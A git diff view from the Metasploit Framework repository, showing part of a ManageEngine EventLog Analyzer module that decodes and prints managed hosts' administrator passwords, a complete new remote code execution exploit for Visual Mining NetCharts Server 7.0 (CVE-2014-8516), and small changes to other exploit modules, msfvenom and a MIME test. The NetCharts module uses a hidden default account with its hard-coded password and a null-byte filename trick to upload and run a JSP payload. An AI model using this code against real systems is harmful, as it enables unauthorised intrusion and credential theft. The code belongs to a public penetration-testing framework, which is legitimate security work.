ele.elements.each('HostDetails') do |details|
|
||||
domain_name = details.attributes['domain_name'] || ''
|
||||
username = details.attributes['username'] || ''
|
||||
password_encoded = details.attributes['password'] || ''
|
||||
password = decode_password(password_encoded)
|
||||
type = details.attributes['type'] || ''
|
||||
subtype = details.attributes['subtype'] || ''
|
||||
|
||||
unless type =~ /Windows/ || subtype =~ /Windows/
|
||||
# With AS/400 we get some garbage in the domain name even though it doesn't exist
|
||||
domain_name = ""
|
||||
end
|
||||
|
||||
msg = "Got login to #{host_ipaddress} | running "
|
||||
msg << type << (subtype != '' ? " | #{subtype}" : '')
|
||||
msg << ' | username: '
|
||||
msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)
|
||||
msg << " | password: #{password}"
|
||||
print_good(msg)
|
||||
|
||||
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
|
||||
|
||||
if type == 'Windows'
|
||||
service_name = 'epmap'
|
||||
port = 135
|
||||
elsif type == 'IBM AS/400'
|
||||
service_name = 'as-servermap'
|
||||
port = 449
|
||||
else
|
||||
next
|
||||
end
|
||||
|
||||
credential_core = report_credential_core({
|
||||
password: password,
|
||||
username: username,
|
||||
})
|
||||
|
||||
host_login_data = {
|
||||
address: host_ipaddress,
|
||||
service_name: service_name,
|
||||
workspace_id: myworkspace_id,
|
||||
protocol: 'tcp',
|
||||
port: port,
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
create_credential_login(host_login_data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line("#{cred_table}")
|
||||
loot_name = 'manageengine.eventlog.managed_hosts.creds'
|
||||
loot_type = 'text/csv'
|
||||
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
|
||||
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
|
||||
p = store_loot(
|
||||
loot_name,
|
||||
loot_type,
|
||||
rhost,
|
||||
cred_table.to_csv,
|
||||
loot_filename,
|
||||
loot_desc)
|
||||
print_status "Credentials saved in: #{p}"
|
||||
end
|
||||
|
||||
|
||||
def report_credential_core(cred_opts={})
|
||||
# Set up the has for our Origin service
|
||||
origin_service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_type: :password,
|
||||
private_data: cred_opts[:password],
|
||||
username: cred_opts[:username]
|
||||
}
|
||||
|
||||
credential_data.merge!(origin_service_data)
|
||||
create_credential(credential_data)
|
||||
end
|
||||
end
|
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -91,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def windows_stager
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
execute_command(@payload_exe)
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
DEFAULT_USERNAME = 'Scheduler'
|
||||
DEFAULT_PASSWORD = '!@#$scheduler$#@!'
|
||||
SIGNATURE = 'was uploaded successfully and is now ready for installation'
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits multiple vulnerabilities in Visual Mining NetCharts.
|
||||
First, a lack of input validation in the administration console permits
|
||||
arbitrary jsp code upload to locations accessible later through the web
|
||||
service. Authentication is typically required, however a 'hidden' user is
|
||||
available by default (and non editable). This user, named 'Scheduler',
|
||||
can only login to the console after any modification in the user
|
||||
database (a user is added, admin password is changed etc). If the
|
||||
'Scheduler' user isn't available valid credentials must be supplied. The
|
||||
default Admin password is Admin.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'sghctoma', # Vulnerability Discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-8516'],
|
||||
['ZDI', '14-372']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => %w{ linux win },
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
['Visual Mining NetCharts Server 7.0', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 03 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8001),
|
||||
OptString.new('USERNAME', [false, "The username to authenticate with"]),
|
||||
OptString.new('PASSWORD', [false, "The password to authenticate with"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
|
||||
'vars_get' => { 'mode' => 'getZip' },
|
||||
'authorization' => basic_auth(username, password)
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
|
||||
Exploit::CheckCode::Detected
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
|
||||
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
|
||||
if upload(jsp_payload, payload.encoded)
|
||||
print_good("#{peer} - JSP payload uploaded successfully")
|
||||
register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
execute(jsp_payload, 1)
|
||||
end
|
||||
|
||||
def execute(jsp_name, time_out = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name),
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(username, password)
|
||||
}, time_out)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def upload(file_name, contents)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(
|
||||
contents,
|
||||
'application/octet-stream',
|
||||
nil,
|
||||
"form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\""
|
||||
)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'),
|
||||
'method' => 'GET',
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => post_data.to_s,
|
||||
'vars_get' => { 'mode' => 'getZip' },
|
||||
'authorization' => basic_auth(username, password)
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME'].blank? ? DEFAULT_USERNAME : datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD'].blank? ? DEFAULT_PASSWORD : datastore['PASSWORD']
|
||||
end
|
||||
end
|
|
@ -75,6 +75,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
|
||||
end
|
||||
|
||||
def get_srvhost
|
||||
# If the SRVHOST isn't the default 0.0.0.0, obviously the user wants to
|
||||
# specify, so we will not force source_address()
|
||||
return datastore['SRVHOST'] if datastore['SRVHOST'] != '0.0.0.0'
|
||||
Rex::Socket.source_address(cli.peerhost)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if (request.uri.match(/\.gif$/i))
|
||||
|
@ -187,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
j_memory = rand_text_alpha(rand(100) + 1)
|
||||
j_counter = rand_text_alpha(rand(30) + 2)
|
||||
|
||||
host = Rex::Socket.source_address(cli.peerhost) + ":" + (datastore["SRVPORT"].to_s)
|
||||
host = get_srvhost + ":" + (datastore["SRVPORT"].to_s)
|
||||
gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}"
|
||||
if ("/" == get_resource[-1,1])
|
||||
gif_uri << get_resource[0, get_resource.length - 1]
|
||||
|
|
7
msfvenom
7
msfvenom
|
@ -283,6 +283,12 @@ if __FILE__ == $0
|
|||
|
||||
if generator_opts[:list_options]
|
||||
payload_mod = framework.payloads.create(generator_opts[:payload])
|
||||
|
||||
if payload_mod.nil?
|
||||
$stderr.puts "Invalid payload: #{generator_opts[:payload]}"
|
||||
exit
|
||||
end
|
||||
|
||||
$stderr.puts "Options for #{payload_mod.fullname}\n\n" + ::Msf::Serializer::ReadableText.dump_module(payload_mod,' ')
|
||||
exit(0)
|
||||
end
|
||||
|
@ -294,6 +300,7 @@ if __FILE__ == $0
|
|||
venom_generator = Msf::PayloadGenerator.new(generator_opts)
|
||||
payload = venom_generator.generate_payload
|
||||
rescue ::Exception => e
|
||||
elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
|
||||
$stderr.puts e.message
|
||||
end
|
||||
|
||||
|
|
|
@ -369,8 +369,7 @@ describe Rex::MIME::Message do
|
|||
end
|
||||
|
||||
let(:regexp_web) do
|
||||
regex = "\r\n"
|
||||
regex << "--_Part_.*\r\n"
|
||||
regex = "--_Part_.*\r\n"
|
||||
regex << "Content-Disposition: form-data; name=\"action\"\r\n"
|
||||
regex << "\r\n"
|
||||
regex << "save\r\n"
|
||||
|
@ -388,8 +387,8 @@ describe Rex::MIME::Message do
|
|||
Regexp.new(regex)
|
||||
end
|
||||
|
||||
it "returns \\r\\n if Rex::MIME::Message is empty" do
|
||||
expect(subject.to_s).to eq("\r\n")
|
||||
it "returns empty string if Rex::MIME::Message is empty" do
|
||||
expect(subject.to_s).to be_empty
|
||||
end
|
||||
|
||||
it "generates valid MIME email messages" do
|
||||
|
|
Loading…
Reference in New Issue